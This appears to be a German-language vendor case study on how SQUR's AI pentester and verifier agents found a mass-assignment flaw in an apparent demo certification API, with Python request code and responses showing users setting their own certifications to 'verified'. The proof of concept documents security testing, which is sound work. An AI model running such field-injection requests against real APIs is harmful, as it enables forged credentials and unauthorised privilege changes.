Der Pentester-Agent von SQUR entdeckte, dass Nutzer ihre eigenen Zertifizierungen auf den Status "verified" hochstufen konnten, indem sie einen Mass-Assignment-Fehler im Update-Endpunkt ausnutzten - eine Business-Logic-Schwachstelle, die erfordert, zu verstehen, was die Anwendung tut, nicht nur, wie sie antwortet. Ein eigenständiger Vulnerability-Verifier-Agent bestätigte das Finding unabhängig über ein anderes Konto.
Beim Testen der CertTracker-API bildete der Pentester-Agent von SQUR eine Hypothese: Die Zertifizierungs-Endpunkte
könnten Felder akzeptieren, die auf Administratoren beschränkt sein sollten. Wäre das
Feld status - das steuert, ob eine Zertifizierung
"active", "verified" oder "revoked" ist - für reguläre Nutzer beschreibbar, wäre der gesamte
Verifizierungs-Workflow bedeutungslos.
Das ist nicht die Art von Schwachstelle, nach der ein Scanner sucht. Es gibt keine Signatur, keine bekannte CVE, kein Muster zum Abgleichen. Es erfordert, den geschäftlichen Zweck jedes Feldes zu verstehen und durchzudenken, was passieren würde, wenn die falsche Person es ändern könnte.
# 1. Attempt Mass Assignment in POST /api/certifications/
payload_post = {
"cert_type_id": 2,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"certificate_number": "MASS-ASSIGN-POST",
"status": "verified", # Restricted field
"user_id": 1, # Restricted field
"id": 999 # Restricted field
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)
# 2. Create a clean cert, then test PUT with restricted fields
payload_put = {
"cert_type_id": 3,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"status": "revoked", # Restricted field
"user_id": 1 # Restricted field
}
response_put = requests.put(f"{base_url}/api/certifications/{target_id}", json=payload_put, headers=headers)
POST /api/certifications/ → 400 Bad Request
"You already have an active certification of this type"
Test inconclusive - cannot create cert to test PUT endpoint
Ein Scanner würde hier aufhören. Die Anfrage lieferte 400 zurück, keine Schwachstelle erkannt, weiter geht's. Doch der Pentester verstand, warum sie scheiterte - der Testnutzer besaß bereits Zertifizierungen jedes Typs, was die Geschäftsregel "eine pro Typ" auslöste. Die eigentliche Mass-Assignment-Frage war noch immer unbeantwortet.
Es folgten drei Minuten iterativer Problemlösung: Abfrage bestehender Zertifizierungen, ein
KeyError beim falschen Feldnamen, die Entdeckung, dass die API
credential_id statt certificate_number verwendet,
und schließlich die Umstrukturierung des Tests, um innerhalb der Constraints der Anwendung zu arbeiten.
KeyError: 'certificate_number'
→ Field is actually named 'credential_id' in API responses
→ User has 5 active certifications (types 1-5)
# 1. Delete certification ID 6 (Type 1) to free it up for POST testing
requests.delete(f"{base_url}/api/certifications/6", headers=headers)
# 2. POST with restricted fields - does the API accept them?
payload_post = {
"cert_type_id": 1,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"status": "verified", # Should be admin-only
"user_id": 1, # Should be system-assigned
"id": 9999 # Should be auto-generated
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)
# 3. PUT with restricted fields - does the API accept them?
payload_put = {
"cert_type_id": 2,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"status": "revoked", # Should be admin-only
"user_id": 1 # Should be immutable
}
response_put = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)
Die Ergebnisse teilten sich klar auf: Der POST-Endpunkt
ignorierte alle eingeschränkten Felder korrekt. Doch der
PUT-Endpunkt erzählte eine andere Geschichte.
POST /api/certifications/ → 201 Created
status: "active" (ignored "verified" - SAFE)
user_id: 7 (ignored "1" - SAFE)
id: 12 (ignored "9999" - SAFE)
PUT /api/certifications/7 → 200 OK
status: "revoked" (accepted "revoked" - VULNERABLE)
user_id: 7 (ignored "1" - SAFE)
GET /api/certifications/7 → Confirmed: status persisted as "revoked"
Das Feld status war beschreibbar. Doch "revoked" ist nicht die gefährliche
Richtung. Der Pentester verstand die Konsequenz sofort: Wenn Nutzer jeden
Status setzen können, können sie "verified" setzen.
# The critical question: can a user set their own status to "verified"?
payload_put = {
"cert_type_id": 2,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"certificate_number": "MASS-ASSIGN-VERIFY",
"notes": "Testing self-verification",
"verification_url": "http://example.com",
"status": "verified"
}
response = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Updated Status: {response.json().get('status')}")
PUT /api/certifications/7 → 200 OK
{
"id": 7,
"status": "verified", ← USER SET THIS THEMSELVES
"user_id": 7,
"cert_type_id": 2,
...
}
[!] CRITICAL: User can self-verify certifications via mass assignment!
Eine Schwachstelle zu finden ist die halbe Arbeit. Sie präzise einzugrenzen ist die andere Hälfte.
Der Pentester hörte nicht auf, nachdem er bestätigt hatte, dass das Feld status beschreibbar war -
er testete systematisch, was nicht beschreibbar war, und erstellte eine präzise Schwachstellen-Karte
statt eines vagen Alarms.
PUT /api/certifications/1 (another user's cert) → 403 "Access denied"
Ownership check enforced - vulnerability limited to own certifications
Nachdem jedes eingeschränkte Feld einzeln getestet worden war, erstellte der Pentester eine präzise Schwachstellen-Grenze.
SQUR vertraut seinen eigenen Findings nicht, bis ein zweiter Agent sie bestätigt. Der Vulnerability Verifier - ein eigenständiger, unabhängiger Agent mit eigenen Zugangsdaten - erhielt das Finding und versuchte, es von Grund auf zu reproduzieren.
POST /api/certifications/ → 400 "You already have an active certification of this type"
PUT /api/certifications/None → 422 (no valid cert ID to test)
Verifier hits the same business logic wall as the Pentester
Der Verifier stieß auf genau dieselbe "eine pro Typ"-Beschränkung. Genau wie der Pentester passte er sich an - er fragte die bestehenden Zertifizierungen des Nutzers ab, um eine gültige Ziel-ID zu finden.
# Authenticated as user_2f4a0672 (NOT the Pentester's account)
cert_id = 11 # CISSP certification, status: "active"
update_payload = {
"cert_type_id": 1,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"certificate_number": "XSS-VERIFY-1",
"status": "verified"
}
response = requests.put(f"{certs_url}{cert_id}", json=update_payload, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Response: {json.dumps(response.json(), indent=2)}")
if response.status_code == 200 and response.json().get("status") == "verified":
print("\nSUCCESS: Mass Assignment confirmed. Status changed to 'verified'.")
PUT /api/certifications/11 → 200 OK
{
"id": 11,
"status": "verified", ← SECOND USER, SAME RESULT
"user_id": 6,
"cert_type_id": 1,
...
}
SUCCESS: Mass Assignment confirmed. Status changed to 'verified'.
"finding_id": "ede82993-2c72-4048-b961-3c3d6d999ba5"
"status": "ai_accepted"
"risk_level": "high"
"status_reason": "Deterministic PoC confirms that the 'status' field
can be modified by a standard user via the PUT endpoint,
allowing for self-verification of certifications."
Ein DAST-Scanner, der PUT /api/certifications/7 mit zusätzlichen Feldern
testet, würde eine 200 OK-Antwort sehen. Er würde vielleicht sogar bemerken, dass sich das
Feld status geändert hat. Doch er kann nicht feststellen, ob diese Änderung
von Bedeutung ist.
Zu verstehen, dass status: "verified" eine
Verletzung einer Vertrauensgrenze darstellt - dass dieses Feld einen administrativen
Genehmigungs-Workflow steuert, dass Nutzer ihn nicht umgehen können sollten, dass die geschäftliche Auswirkung
Zertifizierungsbetrug ist - erfordert ein Domänenverständnis, das kein signaturbasiertes Tool besitzt.
Der Pentester zeigte zudem adaptives Denken: Als der erste Test durch die Business Logic (Duplikat-Zertifizierungs-Constraint) blockiert wurde, verstand er, warum er scheiterte, strukturierte den Test um und blieb dran, bis er eine eindeutige Antwort erreichte. Ein Scanner hätte "400 Bad Request" protokolliert und wäre weitergezogen.
Herkömmliche Security-Tools sind hervorragend im Musterabgleich: bekannte CVEs, gängige Fehlkonfigurationen, signaturbasierte Erkennungen. Doch die gefährlichsten Schwachstellen in modernen Anwendungen sind oft Business-Logic-Fehler - Fälle, in denen die Anwendung genau so funktioniert, wie sie programmiert wurde, der Code aber nicht die Regeln durchsetzt, die das Geschäft erfordert.
Diese Mass-Assignment-Schwachstelle ist ein Musterbeispiel. Der API-Endpunkt antwortete auf jede Anfrage
korrekt. Die HTTP-Semantik war gültig. Die Authentifizierung wurde durchgesetzt. Das einzige
Problem war, dass das Feld status - ein Feld, das einen
kritischen Vertrauens-Workflow steuert - im Update-Schema unbeabsichtigt exponiert war.
SQUR fand sie, weil seine Agenten über die Semantik der Anwendung nachdenken, nicht nur über das Protokollverhalten. Der Pentester verstand, dass der Status "verified" eine administrative Bedeutung hat. Er passte sich an, als er durch Business-Logic-Constraints blockiert wurde. Er kartierte die präzise Grenze zwischen verwundbaren und geschützten Feldern. Und der Vulnerability Verifier bestätigte das Finding unabhängig über ein völlig anderes Nutzerkonto.
Das Ergebnis: ein verifiziertes, präzise eingegrenztes Finding hoher Schwere mit einem vollständigen Proof of Concept - entdeckt, bestätigt und dokumentiert ohne menschliches Eingreifen.
Dieses Finding ist Teil des Demo-Pentests, den jede nutzende Person beim Registrieren bei SQUR sieht. Erstellen Sie ein kostenloses Konto, um die vollständigen Ergebnisse zu erkunden und zu verstehen, wie SQUR funktioniert.
Kostenlos loslegen